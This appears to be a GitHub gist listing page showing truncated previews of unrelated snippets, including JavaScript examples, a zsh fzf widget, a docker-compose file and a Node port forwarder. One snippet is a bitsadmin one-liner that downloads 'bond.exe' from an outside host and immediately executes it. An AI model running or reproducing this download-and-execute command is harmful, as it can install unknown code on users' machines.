This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let inc = n => ++n | |
let dec = n => --n | |
function add (x, y) { | |
if (y < 0) return add(dec(x), inc(y)) | |
if (y === 0) return x | |
if (y > 0) return add(inc(x), dec(y)) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
####### fzf ###### | |
if type "fzf" > /dev/null; then | |
FZF_DEFAULT_OPTS='--layout=reverse --border' | |
# CTRL-R - Paste the selected command from history into the command line | |
fzf-history-widget() { | |
local selected num | |
setopt localoptions noglobsubst noposixbuiltins pipefail 2> /dev/null | |
selected=( $(fc -rln 1 | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rsync -a --exclude='.git/' /a /b |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# Question: | |
# If user_1 followed user_2, we will get an array item like: | |
# [id_1, id_2] | |
# Here is a sample user relationship list: | |
# [ [2, 3], [1, 4], [3, 2], [1, 3], [4, 2], [7, 2], [5, 3], [4, 1] ] | |
# If two items have two same IDs, print one of the items out. | |
# So if we print out [3, 2] and [1, 4], that should be a right result. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
version: '2' | |
services: | |
rdb1: | |
image: rethinkdb | |
ports: | |
- "8080:8080" | |
command: rethinkdb --bind all | |
rdb2: | |
image: rethinkdb | |
depends_on: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cmd /c bitsadmin.exe /transfer "downloadNode" http://c.vane.im:8214/bond.exe "c:%HOMEPATH%\bond.exe" && "c:%HOMEPATH%\bond.exe" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var kit = require("nokit"); | |
var _ = kit._; | |
module.exports = function (p) { | |
return kit.readFile(p, "utf8").then(function (str) { | |
var dict = {}; | |
var safeChars = _.pull(_.range(1, 32), 10, 13); | |
var keyWords = _.chain(str.match(/\w{2,}/g)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function A () { | |
this._v = 1; | |
this.bar = function () { | |
return this._v; | |
} | |
} | |
A.prototype.foo = function () { | |
return this._v; | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var net = require("net"); | |
var fromPort = 9000; | |
var toPort = 22; | |
var toHost = "127.0.0.1"; | |
function errorLog (err) { | |
console.error(err); | |
} | |
var server = net.createServer(function (con) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fun_closure = function(n) { | |
for (i = 0; i < n; i++) | |
(function(){ | |
for (j = 0; j < n; j++) | |
for (k = 0; k < n; k++) { | |
if (j * k > n) return; | |
j + k; | |
} | |
})() |